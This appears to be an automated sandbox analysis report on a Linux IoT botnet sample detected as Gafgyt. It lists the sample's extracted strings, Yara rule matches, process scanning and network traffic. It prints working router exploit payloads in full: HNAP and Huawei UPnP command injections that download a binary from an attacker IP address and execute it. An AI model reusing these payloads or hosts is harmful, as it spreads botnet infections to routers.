HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Source: K8vjjv1Tcx.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.mips
Source: K8vjjv1Tcx.elf	String found in binary or memory: http://15.235.203.214/bolonetwork.x86
Source: K8vjjv1Tcx.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: K8vjjv1Tcx.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: K8vjjv1Tcx.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: K8vjjv1Tcx.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: K8vjjv1Tcx.elf PID: 5491, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKbolonetwork.armbolonetwork.arm5bolonetwork.arm6bolonetwork.arm7bolonetwork.mipsbolonetwork.mpslbolonetwork.x86_64bolonetwork.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: abcdefghijklmnopqrstuvwxyz/proc/%d/exe/tmp/%s%s%c/proc/self/cmdline/proc/%d/proc/self/proc/proc/%d/cmdlinernetstatwgetcurlbusybox/bin/busybox/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetsshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt3f

Source: Initial sample	Potential command found: GET / HTTP/1.1
Source: Initial sample	Potential command found: GET /
Source: Initial sample	Potential command found: GET /HEAD /POST / HTTP/1.1 404 Not FoundServer: ApacheContent-Length: %d
Source: Initial sample	Potential command found: GET /index.php?s=/index/hink
Source: Initial sample	Potential command found: GET /%s HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: K8vjjv1Tcx.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5491.1.00007f68e0400000.00007f68e0420000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: K8vjjv1Tcx.elf PID: 5491, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.troj.linELF@0/1@3/0

Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/238/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/239/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/241/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/371/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/134/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/K8vjjv1Tcx.elf (PID: 5497)	File opened: /proc/261/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 32884 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48480 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46804 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54692 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43346 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46406 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53164 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41110 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51946 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38060 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36642 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45274 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36072 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55198 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45734 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 58656 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60328 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45394 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34324 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 46284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37466 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37472 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 43090 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59034 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37628 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 45248 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52842 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48176 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54494 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38284 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35782 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56208 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53954 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 33508 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 32862 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49468 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43168 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59752 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46224 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58974 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48684 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 41922 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44472 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 34368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51448 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46362 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56392 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60736 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59768 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59050 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60120 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59290 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44108 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57312 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 36334 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38908 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 60618 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49616 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59598 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 39430 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60994 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42090 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56562 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 52694 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38088 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38934 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59900 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 42114 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48504 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 48900 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 38810 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35566 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59186 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38084 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 55814 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55486 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 53984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56956 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39478 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36692 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51450 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38320 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 59228 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58526 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 49348 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40676 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 44984 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54876 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 35266 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37580 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57698 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56648 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39486 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54706 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 39428 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34778 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50968 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 53966 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 37538 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41418 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51640 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43666 -> 37215
